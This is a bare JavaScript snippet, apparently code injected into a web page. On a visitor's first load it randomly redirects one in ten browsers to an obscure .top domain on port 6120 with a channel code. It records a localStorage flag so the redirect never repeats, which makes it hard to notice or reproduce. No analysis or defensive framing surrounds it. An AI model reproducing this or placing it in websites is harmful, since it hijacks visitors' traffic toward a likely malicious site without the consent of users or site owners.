var randomNum = Math.random() * 100; hasExecuted = localStorage.getItem("luck_cc"); if (!hasExecuted) { var randomNum = Math.random() * 100; if (randomNum < 10) { window.location.href = 'https://ghn7.235c4f.top:6120/?channelCode=awllck'; } localStorage.setItem("luck_cc", 'true'); }